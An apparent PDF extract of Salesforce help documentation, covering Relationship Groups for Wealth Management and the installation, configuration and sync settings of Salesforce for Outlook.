Salesforce provides an easy wizard so you can quickly create and edit relationship groups. On the Accounts tab, you can add an account to a new or existing relationship group: 1. Open the detail page for the account you want to add to a relationship group. 2. On the Relationship Group Members related list, click New. 3. Choose whether to add the account to an existing relationship group or a new relationship group: If you are adding the account to an existing relationship group, click the lookup icon to find the appropriate relationship group. If you are adding the account to a new relationship group, enter a name and optionally a description for the new relationship group.

4. Click Next. 5. Define the members of the relationship group: a. Use the lookup fields to select the appropriate records. b. In the Role drop-down list, specify the appropriate role for each person in the relationship group. c. Designate one of the records as primary.

2397

Relationship Groups

Editing the Members of Relationship Groups

d. Designate another record as secondary. e. Optionally, click Add Member as needed to include additional members. You can add a maximum of 20 records to a relationship group. f. Select Include in Roll-up for the accounts whose related activities and custom objects should display on the relationship group detail page. g. Click Save to finish. 6. After completing the wizard, the detail page of the new relationship group displays so you can review your work.

See Also:
Creating Relationship Groups Editing the Members of Relationship Groups Using Relationship Groups Relationship Groups Overview About Relationship Group Members

Editing the Members of Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

Salesforce provides an easy wizard so you can quickly create and edit relationship groups. To edit the members of a relationship group: 1. Click New or Edit on the Relationship Group Members related list of a relationship group detail page. Alternatively, click Edit next to a member listed on the Relationship Group Members list of an account detail page. 2. To remove an account from the relationship group, click [remove]. 3. To add an account to the relationship group, enter an account name in an empty Account lookup field. 4. In the Role drop-down list, choose a role for each member of the relationship group. 5. In the Primary column, select a primary relationship group member. 6. In the Secondary column, select a secondary relationship group member.

2398

Relationship Groups

Displaying and Editing Relationship Groups

7. Select Include in Roll-up for the accounts whose related activities and custom objects should display on the relationship group detail page. 8. Optionally, click Add Member as needed to include additional members. You can add a maximum of 20 records to a relationship group. 9. Click Save to finish.

See Also:
Creating Relationship Groups Adding Accounts to Relationship Groups Using Relationship Groups Relationship Groups Overview About Relationship Group Members

Displaying and Editing Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

Note: Relationship groups are only available upon request to Salesforce for Wealth Management customers. Note that the Relationship Groups tab may be named Households in Salesforce for Wealth Management organizations. To enable relationship groups, contact your salesforce.com representative. The following sections describe how to display and edit relationship groups: Accessing the Relationship Groups Tab Viewing Relationship Group Lists Displaying Relationship Group Records Editing Relationship Group Records

2399

Relationship Groups

Displaying and Editing Relationship Groups

Accessing the Relationship Groups Tab


The Relationship Groups tab is available by default in the Relationship Groups app. To switch to the Relationship Groups app, select Relationship Groups from the Force.com app menu in the top right corner of every Salesforce page. Note that your administrator may have customized your profile to also display the Relationship Groups tab in other apps. For information on how to personalize your available tabs to meet your needs, see Customizing Your Display on page 41.

Viewing Relationship Group Lists


You can work with relationship group list views as you would any other custom object. For more information, see Viewing Custom Object Lists on page 208.

Displaying Relationship Group Records


To open an individual relationship group record, click a relationship group name on the relationship groups home page or a relationship groups list view. Note the following when viewing related lists on the relationship group detail page: The Relationship Group Members related list summarizes the accounts that are members of the relationship group. In the Priority column, the icons ( and ) show which accounts are defined as primary or secondary for the relationship group. For more information on relationship group members, see About Relationship Group Members on page 2387. The Activity History and Open Activities related lists on a relationship group are roll-ups of activities for the relationship group members; relationship groups themselves do not have their own tasks and events. If accounts have a relationship with a custom object, a related list for that custom object can display on the relationship group detail page. This requires that Include in Roll-Up is selected on an associated relationship group member record. For example, in the following theoretical scenario, the vehicles associated with members of the Stone family display in a Vehicles related list on both the account detail page and the relationship group detail page: The account Sam Stone has a Toyota Prius car tracked in the Vehicles custom object related list on the account detail page The account Chris Stone has a Ford Mustang car tracked in the same related list Sam and Chris Stone are members of the Stone Family relationship group Both associated relationship group member records have Include in Roll-Up selected

Editing Relationship Group Records


On the relationship group detail page, you can: 1. 2. 3. 4. Click Edit to change the fields in the Relationship Group Detail section. Click Delete to delete the relationship group. For more information, see Deleting Relationship Groups on page 2402. Click Clone to create a copy of the relationship group. On the Relationship Group Members related list, click New to add an account to the relationship group. For more information, see Editing the Members of Relationship Groups on page 2398.

2400

Relationship Groups

Searching for Relationship Groups

5. On the Activity History and Open Activities related lists, click the buttons such as New Task and Log a Call to add activity records for a relationship group member. By default, the new activity records are associated with the primary account on the relationship group.

See Also:
Relationship Group Fields Using Relationship Groups Relationship Groups Overview

Searching for Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. Your administrator can customize the search layout for relationship groups to include the primary and secondary account fields, so you can view and access those account records directly from relationship group search results.

See Also:
Search Overview Using Relationship Groups Relationship Groups Overview

Reporting on Relationship Groups


2401

Relationship Groups

Reporting on Relationship Groups

Available in: Salesforce for Wealth Management

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

You can report on relationship groups and relationship group members if your administrator has enabled custom report types for those custom objects. Custom report types are the only way to make relationship group reports available for your usersSalesforce does not provide sample relationship group reports or a standard report folder for relationship groups. Administrators can create a public folder of relationship group reports as follows: 1. Create a custom report type for relationship group objects. For details, see Setting Up Custom Report Types on page 2736. Tip: To create a report type about the members of relationship groups, select Relationship Groups as the primary report type object and add Relationship Group Members as an object relationship. Alternatively, to create a report type about the accounts that are primary on a relationship group, select Accounts as the primary report type object and add Relationship Groups (Primary Account) as an object relationship. 2. Create a new public folder for relationship group reports. This step requires the Manage Public Reports permission. For details, see Creating and Editing Folders on page 1232. 3. Using your custom report type, create one or more new custom reports for relationship groups. Assign the reports to the new relationship groups reports folder you created. For details, see Creating a Custom Report on page 2653. After completing these steps, a folder of relationship group reports will be available to users on the Reports home page.

See Also:
Using Relationship Groups Relationship Groups Overview

Deleting Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed To delete a relationship group: Delete on relationship groups

Relationship groups are custom object records that you can delete as you would any other record. For general information on deleting custom object records, see Deleting Custom Object Records on page 215.

2402

Relationship Groups

Removing Members from Relationship Group Members

A relationship group is the master object in a master-detail relationship with relationship group members. Consequently, when you delete a relationship group, all relationship group members on that relationship group are also deleted. Restoring a relationship group from the Recycle Bin also restores the associated relationship group members that were deleted. However, if you delete a relationship group that contains the same relationship group member as a deleted account, the shared relationship group member cannot be restored from the Recycle Bin.

See Also:
Removing Members from Relationship Group Members Deleting Custom Object Records Recycle Bin Relationship Groups Overview

Removing Members from Relationship Group Members


Available in: Salesforce for Wealth Management

User Permissions Needed To remove a relationship group member: Delete on relationship group members

To remove an individual relationship group member, go to the Relationship Group Members related list on an account or relationship group detail page and click Del next to the appropriate relationship group member record. Relationship group members are unique because they have two master-detail relationships: one with accounts and another with relationship groups. Also, there are rules that govern the number of relationship group members a relationship group can have, as well as prevent more than one relationship group member from being specified as either primary or secondary on a given relationship group. The following considerations apply to deleting relationship group members: Deleting Accounts with Relationship Group Members When you delete an account, its associated relationship group members are also deleted. However, you cannot restore an account from the Recycle Bin if restoring the account's deleted relationship group members would violate rules such as the maximum of 20 relationship group members per relationship group. Also, if you delete an account that shares a relationship group member with a deleted relationship group, the shared relationship group member is automatically purged from the Recycle Bin. Deleting Relationship Groups with Relationship Group Members See Deleting Relationship Groups on page 2402. Restoring Individual Relationship Group Members You cannot restore an individual relationship group member from the Recycle Bin in the following scenarios: Restoring the record would violate rules such as the maximum of 20 relationship group members per relationship group The deleted relationship group member was deleted during an account merge

2403

Salesforce for Outlook

Salesforce for Outlook Overview

Relationship group members are automatically and irrecoverably removed from the Recycle Bin in the following scenarios: If both parents (the relationship group and the account) of a relationship group member are deleted, the relationship group member is removed If a relationship group member is deleted individually and then one of its parents is deleted, the relationship group member is removed

See Also:
About Relationship Group Members Deleting Custom Object Records Merging Accounts Associated with Relationship Groups Deleting Accounts Recycle Bin

SALESFORCE FOR OUTLOOK


Salesforce for Outlook Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Watch a Demo (2:43 minutes) Salesforce for Outlook is a Microsoft Outlook integration application that lets you log emails in Salesforce. You can also sync contacts, events, and tasks between Outlook and Salesforce. Settings are stored in configurations in Salesforce and may be editable for certain users. Contact your administrator if you don't have access to a configuration. Get started with Salesforce for Outlook in a few simple steps. Users 1. Review your configuration. 2. Install and set up Salesforce for Outlook. Administrators of Professional, Enterprise, Unlimited, or Developer Editions 1. Create a configuration and assign users to it. 2. Define settings and add data sets. 3. Activate the configuration and have users install.

2404

Salesforce for Outlook

Salesforce for Outlook Overview

Administrators of Contact Manager or Group Editions 1. Review the default configuration for your organization. 2. Have users install.

See Also:
Connect for Outlook vs. Salesforce for Outlook Salesforce for Outlook System Requirements Salesforce for Outlook FAQ Release Notes: What's New with Salesforce for Outlook? Reviewing the Salesforce for Outlook Terms of Use

Connect for Outlook vs. Salesforce for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Here are some key differences between Connect for Outlook and our latest Outlook integration application, Salesforce for Outlook. Connect for Outlook What syncs? How does it sync? How are Outlook contacts associated with Salesforce? Salesforce for Outlook

Only the contacts, tasks, and events that All data from the contact, calendar, and you manually mark for sync. task folders that you select. You manually click Sync. You may be configured to automatically sync. You do nothing. Your data syncs automatically in the background.

In Outlook, you manually specify related Contacts are associated to related records for each contact you're syncing. accounts automatically in the cloud. Contacts we couldn't associate go to your My Unresolved Items page in Salesforce, where you can easily select related accounts.

How are Outlook events associated with In Outlook, you manually specify related Events go to your My Unresolved Items Salesforce? records for each event you're syncing. page in Salesforce, where you can easily select related records. How are Outlook emails associated with In Outlook, you manually specify related Emails are automatically associated to Salesforce? records for each email you're sending. related records based on your Email to Salesforce Setting. Emails we couldn't associate go to your My Unresolved Items page in Salesforce, where you can easily select related records.

2405

Salesforce for Outlook

Installing Salesforce for Outlook

Connect for Outlook

Salesforce for Outlook

How are Outlook tasks associated with In Outlook, you manually specify related Tasks go to your My Unresolved Items Salesforce? records for each task you're syncing. page in Salesforce, where you can easily select related records. Where are administration settings managed? Do recurring items sync? In Outlook by the user. In Salesforce by the administrator. Administrators can grant permission to users to customize their settings. The following items don't sync. Events and event attendees Tasks

Recurring events sync as individual events. Event attendees dont sync.

See Also:
Salesforce for Outlook Overview Force.com Connect for Microsoft Outlook Overview

Installing Salesforce for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To install Salesforce for Outlook: Assigned to an active configuration AND Valid data set for each object being synced To change sync folders: Your Outlook profile set as the default in your Mail Settings

Note: We recommend that you activate your computer before using Salesforce for Outlook for the first time.

1. Close Outlook. 2. If you're upgrading Salesforce for Outlook, make sure you close it now. To do so, right-click the Salesforce for Outlook icon ( ) in your system tray, then click Exit. 3. In Salesforce, click Your Name > Setup > Desktop Integration > Salesforce for Outlook. 4. If you want to see the email and sync settings your administrator has defined for you before you install, click View My Configuration. 5. Click Download. Then click Save, open the saved file, and complete the installation wizard.

2406

Salesforce for Outlook

Installing Salesforce for Outlook

Note: If you don't yet have .NET 4 installed, the installation wizard installs it for you. Keep in mind, the installation wizard prompts you to restart your machine after it installs .NET 4. You then need to run the installation wizard again to complete the installation process. If needed, you can use the .msi on page 920 version of the installer. 6. Open Outlook. The setup wizard opens, and the Salesforce for Outlook icon ( ) appears in your system tray. To manually open the wizard, right-click this icon and click Settings. 7. To log in to a Salesforce site other than the default, click Change URL and pick the correct server. If the server you want isn't listed, select Other... and enter the URL, such as a pre-release URL or a custom domain used by your organization. 8. Enter your Salesforce username and password. 9. Click Approve. This creates a secure connection between Outlook and Salesforce. You won't have to log in again unless you encounter an error. If you click Deny, you'll return to the previous step. Note: If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. This lets you connect without IP restrictions from anywhere. 10. Click Next, and choose the folders you want to sync. You can use your default folders or click Change Folder and select or create a folder that's within your default folders or the main Mailbox folder. Important: All data in these folders will sync with Salesforce. If you're syncing from Salesforce to Outlook or syncing both ways and delete a record in Salesforce, that record is automatically deleted in Outlook. Click the configuration link to see more details about how you're configured to sync. 11. Click Next, and then click Done. A welcome message appears at the system tray icon ( ), which is now active. If you're configured to sync Outlook items, all data in your selected folders syncs automatically. The icon spins to let you know when data is syncing. During active use, all updates sync automatically every ten minutes. If we detect no keyboard or mouse activity for 30 minutes, we change the sync frequency to 30 minutes. After two hours of inactivity, we sync hourly, and after four hours, we sync every four hours.

See Also:
Salesforce for Outlook Overview Salesforce for Outlook System Requirements Using the Salesforce for Outlook System Tray Application Syncing with Salesforce for Outlook Uninstalling Salesforce for Outlook Managing Your Salesforce for Outlook Configuration

Uninstalling Salesforce for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

1. Close Outlook.

2407

Salesforce for Outlook

Managing Your Salesforce for Outlook Configuration

2. Right-click the sync icon ( ) and select Exit. 3. Using your Windows Add or Remove Programs tool, remove Salesforce for Outlook. If you plan to reinstall Salesforce for Outlook, you'll have to first remove the old Salesforce for Outlook database files. Otherwise, Salesforce for Outlook will use your old sync settings. Default database file locations: (Microsoft Windows 7 and Vista) C:\Users\username\AppData\Roaming\salesforce.com\Salesforce for
Outlook\DB\

(Microsoft Windows XP) C:\Documents and Settings\username\Application


Data\salesforce.com\Salesforce for Outlook\DB\

See Also:
Installing Salesforce for Outlook

Reviewing the Salesforce for Outlook Terms of Use


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To locate the Salesforce for Outlook terms of use, you can: Right-click the Salesforce for Outlook icon ( ) in your system tray, click About, and then click Terms of Use. Open the TermsofUse.htm file in your Salesforce for Outlook installation directory, located by default in C:\Program Files\salesforce.com\Salesforce for Outlook.

See Also:
Salesforce for Outlook Overview Salesforce for Outlook System Requirements

Managing Your Salesforce for Outlook Configuration


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access your configuration Assigned to an active configuration

Your version of Salesforce for Outlook has been configured with certain functions, like syncing contacts, events, and tasks, or adding emails to Salesforce. These settings are saved in a Salesforce for Outlook configuration in Salesforce. 1. Access your configuration in any of these ways.

2408

Salesforce for Outlook

Managing Your Salesforce for Outlook Configuration

Click Your Name > Setup > Desktop Integration > Salesforce for Outlook in Salesforce. Then click View My Configuration. Right-click the system tray icon ( ) on your desktop, and select Salesforce > Outlook Configuration.

2. Depending on your permissions, you may be able to: Edit your email settings Edit your sync settings Edit your sync direction Edit your conflict settings View your matching criteria Edit your field mappings

3. Click Save. All changes take effect the next time your data syncs. Return to your original settings any time by clicking Revert to default at the top of your modified configuration. Your administrator may change your settings as needed.

Editing Your Salesforce for Outlook Email Settings


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access your configuration To edit email settings Assigned to an active configuration Add Email

The Email Settings section of your Salesforce for Outlook configuration shows you whether you're allowed to add emails to Salesforce from Outlook. Emails that you add using Salesforce for Outlook are saved in Salesforce and assigned to other records based on your My Email to Salesforce settings. 1. Access your configuration in any of these ways. Click Your Name > Setup > Desktop Integration > Salesforce for Outlook in Salesforce. Then click View My Configuration. Right-click the system tray icon ( ) on your desktop, and select Salesforce > Outlook Configuration.

If Add Email is selected, you'll see Add Email and Send and Add buttons in Outlook. Note: If you don't see the Add Email and Send and Add buttons, your administrator hasn't activated Email to Salesforce. 2. Click Email to Salesforce Settings. 3. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email addresses with commas. 4. Choose whether you'd like all emails to be sent to My Unresolved Items so you can manually assign them to related records or whether you'd like us to first try to automatically assign them.

2409

Salesforce for Outlook

Managing Your Salesforce for Outlook Configuration

5. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three. If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce searches the To and CC fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce saves the email to the Activity History related list on the appropriate record. 6. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate record, or to the record that has greatest number of activities. 7. If you selected leads or contacts, you can select If no matching records are found, create a task and send it to My Unresolved Items to have the email sent to My Unresolved Items if no matching records are found. If this checkbox isn't selected and Salesforce can't identify the To or From email addresses, the email won't be saved in Salesforce. 8. Select Always save email attachments to save attachments on emails sent to Salesforce. The size limit for an attached file is 5 MB. The size limit for all files attached to an email is 10 MB. 9. Select Email me confirmation of association to receive a confirmation email when an email is sent to Salesforce. 10. Click Save.

See Also:
Adding Email with Salesforce for Outlook Managing Your Salesforce for Outlook Configuration Resolving Your Unassigned Emails

Editing Your Salesforce for Outlook Sync Settings


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access your configuration To disable sync: Assigned to an active configuration Whether object is synced

The Sync Settings section of your Salesforce for Outlook configuration tells you which objects you're allowed to sync and the direction data syncs. To view or edit these settings: 1. Access your configuration in any of these ways. Click Your Name > Setup > Desktop Integration > Salesforce for Outlook in Salesforce. Then click View My Configuration. Right-click the system tray icon ( ) on your desktop, and select Salesforce > Outlook Configuration.

2. Hover over filter icons ( ) to see which kinds of records sync. 3. Deselect a checkbox to stop an item from syncing. All fields related to that item are disabled on the page.

2410

Salesforce for Outlook

Managing Your Salesforce for Outlook Configuration

4. Click Save. All changes take effect the next time your data syncs. Return to your original settings any time by clicking Revert to default at the top of your modified configuration. Your administrator may change your settings as needed.

See Also:
Managing Your Salesforce for Outlook Configuration Syncing with Salesforce for Outlook

Editing Your Salesforce for Outlook Sync Direction


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access your configuration To change sync direction Assigned to an active configuration Sync direction

Sync direction indicates the direction data flows when Salesforce for Outlook syncs data. 1. Access your configuration in any of these ways. Click Your Name > Setup > Desktop Integration > Salesforce for Outlook in Salesforce. Then click View My Configuration. Right-click the system tray icon ( ) on your desktop, and select Salesforce > Outlook Configuration.

2. Select one of these options under Sync Direction for a particular object.
Outlook to salesforce.comDuring its first sync, a record in Outlook creates or updates a record in Salesforce. During future syncs, changes made to Outlook records appear in Salesforce, regardless of whether the Salesforce version has changed. In addition, deleting a synced record in Outlook deletes its Salesforce counterpart. Salesforce changes are never sent to Outlook. The required conflict behavior setting for this option is Outlook always wins. This option isn't available for contacts. Salesforce.com to OutlookWhen data first syncs, a record in Salesforce creates or updates a record in Outlook. During future syncs, changes made to Salesforce records appear in Outlook, regardless of whether the Outlook version of the record has changed. In addition, deleting a synced record in Salesforce deletes its Outlook counterpart. Outlook changes are never sent to Salesforce. The required conflict behavior setting for this option is Salesforce.com always wins. Sync both waysWhen records sync, changes to Outlook records are reflected in Salesforce, and vice versa. If records conflict, the conflict behavior setting determines which record wins.

2411

Salesforce for Outlook

Managing Your Salesforce for Outlook Configuration

3. Click Save. All changes take effect the next time your data syncs. Return to your original settings any time by clicking Revert to default at the top of your modified configuration. Your administrator may change your settings as needed.

See Also:
Managing Your Salesforce for Outlook Configuration

Editing Your Salesforce for Outlook Conflict Settings


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access your configuration To change conflict behavior Assigned to an active configuration Conflict behavior

Conflict behavior settings determine what happens when Salesforce for Outlook encounters a conflict when syncing data both ways. A conflict occurs when the same record is updated in both Salesforce and Outlook or when a record is updated on one side and deleted in the other. 1. Access your configuration in any of these ways. Click Your Name > Setup > Desktop Integration > Salesforce for Outlook in Salesforce. Then click View My Configuration. Right-click the system tray icon ( ) on your desktop, and select Salesforce > Outlook Configuration.

2. Under Conflict Behavior for each object you're syncing, select one of these options.
Salesforce.com always wins Outlook always wins

3. Click Save. All changes take effect the next time your data syncs. Return to your original settings any time by clicking Revert to default at the top of your modified configuration. Your administrator may change your settings as needed.

Viewing Your Salesforce for Outlook Matching Criteria

2412

Salesforce for Outlook

Managing Your Salesforce for Outlook Configuration

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access your configuration To view your configuration Assigned to an active configuration Assigned to a configuration

If Salesforce for Outlook finds multiple matching contacts when a contact first syncs from Outlook, we pick a Salesforce contact based on the matching criteria defined by your administrator. Access your configuration in any of these ways. Click Your Name > Setup > Desktop Integration > Salesforce for Outlook in Salesforce. Then click View My Configuration. Right-click the system tray icon ( ) on your desktop, and select Salesforce > Outlook Configuration.

Then review the matching preference assigned to you. Options are:


Most recent activityChoose the Salesforce contact that shows the most recent activity (such as a phone call or

email), as shown in the contact's Activity History related list. This is the default matching option. Last updatedChoose the Salesforce contact that was most recently modified. OldestChoose the Salesforce contact that has the earliest creation date.

See Also:
Managing Your Salesforce for Outlook Configuration

Editing Your Salesforce for Outlook Field Mappings


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access your configuration To change field mappings Assigned to an active configuration Field mappings

Field mappings define which Salesforce and Outlook fields correspond when records sync with Salesforce for Outlook. Depending on your permissions, you may be able to edit your field mappings. 1. Access your configuration in any of these ways. Click Your Name > Setup > Desktop Integration > Salesforce for Outlook in Salesforce. Then click View My Configuration.

2413

Salesforce for Outlook

Using the Salesforce for Outlook System Tray Application

Right-click the system tray icon ( ) on your desktop, and select Salesforce > Outlook Configuration.

2. Click Edit Field Mappings. 3. Choose a field from the Salesforce Field picklist. This list displays the names of all Salesforce fields that haven't yet been mapped. Caution: If you map a custom field that is universally required, make sure it has a default value to avoid errors. Also, note that mapping custom fields that require validation by Salesforce may cause sync errors. For example, if you map a custom Salesforce field that requires a unique value, you'll get a uniqueness error when you sync if you enter a non-unique value in the Outlook field. 4. Choose a field from the Outlook Field picklist next to the selected Salesforce.com field. This list displays the names of all standard Outlook fields that haven't yet been mapped and that match the data type of the corresponding Salesforce field. 5. To map a Salesforce field to a custom Outlook field, select Custom Field... from the end of the corresponding Outlook Field picklist. Enter the field's name and click OK. The custom field must already exist in Outlook. Letters are not case-sensitive, and these characters aren't allowed: [, ], _, #. The first sync validates that the custom Outlook field exists and then maps it to the Salesforce field. Custom Outlook fields use a string data type. Note that we only allow custom fields for Salesforce text fields and non-restricted picklists. 6. Click Save. All changes take effect the next time your data syncs. Return to your original settings any time by clicking Revert to default at the top of your modified configuration. Your administrator may change your settings as needed. To remove a field mapping, click the delete icon to the right of the mapping. To redo the mapping, just add a new mapping to the bottom of the list. You can map custom Salesforce fields to standard or custom Outlook fields. You can't map picklist values.

See Also:
Managing Your Salesforce for Outlook Configuration

Using the Salesforce for Outlook System Tray Application


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

After you install Salesforce for Outlook, a new application icon ( ) appears in your Microsoft Windows system tray. You can use this application to: Sync Outlook and Salesforce items View your sync log Resolve your unresolved synced items Manage your Salesforce for Outlook configuration Change your login information Hide alerts View errors Change your sync folders

2414

Salesforce for Outlook

Using the Salesforce for Outlook System Tray Application

Access the Salesforce for Outlook online help

Accessing the System Tray Application If you don't see the icon, just restart the application by double-clicking the Salesforce for Outlook shortcut on your desktop or the application in your computer's Programs directory (Start > All Programs > salesforce.com > Salesforce for Outlook). If the icon is disabled ( ), you may need to start Outlook. If you're using Microsoft Windows 7, you may need to click the arrow next to the notification area and drag the Salesforce for Outlook icon to the system tray.

Viewing the Salesforce for Outlook Sync Log


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The sync log records troubleshooting information for Salesforce for Outlook, including the number of records that had errors and the number of records that were created, updated, or deleted during sync. To view this log, right-click the system tray icon ( ) and click Sync > View Sync Log.

See Also:
Using the Salesforce for Outlook System Tray Application

Changing Your Salesforce for Outlook Login Information


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To log in to Salesforce for Outlook Assigned to an active configuration

If your Salesforce username or password changes, you'll need to update your login information in Salesforce for Outlook. 1. Right-click the system tray icon ( ) on your desktop and select Settings... 2. Click Change User. 3. Enter your correct Salesforce username and password, and click Login. This creates a secure connection between Outlook and Salesforce. You won't have to log in again unless you encounter an error. If you click Deny, you'll return to the previous step. 4. Click Next, and then click Done.

2415

Salesforce for Outlook

Using the Salesforce for Outlook System Tray Application

Note: If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in.

See Also:
Using the Salesforce for Outlook System Tray Application

Changing Your Salesforce for Outlook Sync Folders


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change sync folders: Assigned to an active configuration AND Your Outlook profile set as the default in your Mail Settings To disable sync: Whether object is synced

Salesforce for Outlook uses Outlook folders to limit which records sync with Salesforce. Before you complete the Salesforce for Outlook setup wizard, make sure the folders you want to sync contain the right records. If you're syncing both ways or syncing Outlook to Salesforce, moving a record out of a synced Outlook folder deletes that record in Salesforce. If you're syncing both ways or syncing Salesforce to Outlook, removing a record from Salesforce deletes that record in Outlook. To change your sync folders after your initial setup: 1. Right-click the system tray icon ( ) on your desktop and select Settings.... 2. Click Change Folder and select or create a folder that's within your default folders or the main Mailbox folder. 3. Click Next, and then click Done. Salesforce for Outlook starts syncing with the new folders immediately. If you're syncing from Salesforce to Outlook or syncing both ways and delete a record in Salesforce, that record is automatically deleted in Outlook. Click the configuration link to see more details about how you're configured to sync.

See Also:
Using the Salesforce for Outlook System Tray Application

Hiding Salesforce for Outlook Alerts

2416

Salesforce for Outlook

Using the Salesforce for Outlook System Tray Application

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Salesforce for Outlook automatically displays system tray alerts about issues like sync errors and unresolved synced records. To hide these alerts, right-click the system tray icon ( ) and click Hide Alerts. Click Hide Alerts again to show them.

See Also:
Using the Salesforce for Outlook System Tray Application

Viewing Salesforce for Outlook Errors


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Whenever Salesforce for Outlook has problems syncing your data, the system tray icon changes to an error icon ( ), and the status text at the top of the system tray shortcut menu displays the number of errors. To view these errors, double-click the system tray icon or click the text in the shortcut menu to open the Salesforce for Outlook Error dialog box. If an error relates to a specific Outlook record, you can click the record's link to edit that record in Outlook. To refresh the list after you resolve errors, click Try Again. Salesforce for Outlook syncs your data and removes any errors that have been resolved.

See Also:
Using the Salesforce for Outlook System Tray Application

Adding Email with Salesforce for Outlook

2417

Salesforce for Outlook

Adding Email with Salesforce for Outlook

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add Outlook emails to Salesforce: Email to Salesforce AND Add Email To add email attachments to Salesforce: Always save email attachments in your Email to Salesforce settings

To add existing emails to Salesforce, select up to ten sent or received emails and click Add Email. To add a new email to Salesforce, write the new email and click Send and Add. Salesforce receives the email and, based on your My Email to Salesforce settings, adds it to either the Activity History related list of matching records or the My Unresolved Items page, where you can manually assign it. Unresolved emails also appear in your open task list.

Notes on Email Association


The email is sent to the recipients and saved in Salesforce. The text Sent to salesforce.com appears at the top of the email, and you receive a confirmation email in Outlook. Email to Salesforce attempts to match the email address found in the To or CC fields with the one in the Email standard field. It doesn't support matching on custom email fields. If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce searches the To and CC fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce saves the email to the Activity History related list on the appropriate record. If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce searches the To and CC fields for the email addresses of your contacts. If contacts are found, Salesforce saves the email to the Activity History related list on all open opportunities, as long as the contact is assigned a contact role on the opportunity. For example, the contact may be assigned the role of Decision Maker on an opportunity. If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce, you can choose to associate the email with all matching records, the oldest record, or the record with the most activity. If you selected leads or contacts, you can select If no matching records are found, create a task and send it to My Unresolved Items to have the email sent to My Unresolved Items if no matching records are found. If this checkbox isn't selected and Salesforce can't identify the To or From email addresses, the email won't be saved in Salesforce. With Salesforce for Outlook, you add emails using the Add Email and Send and Add toolbar buttons instead of the BCC field.

2418

Salesforce for Outlook

Syncing with Salesforce for Outlook

The size limit for an attached file is 5 MB. The size limit for all files attached to an email is 10 MB. For each matching record, all attachments sent with the email are duplicated, which affects your data size limit. Any attachments that aren't added are listed in the confirmation email you receive from Salesforce.

See Also:
Editing Your Salesforce for Outlook Email Settings Using the Salesforce for Outlook System Tray Application Resolving Your Unassigned Emails

Syncing with Salesforce for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync data Sync enabled for contacts or events

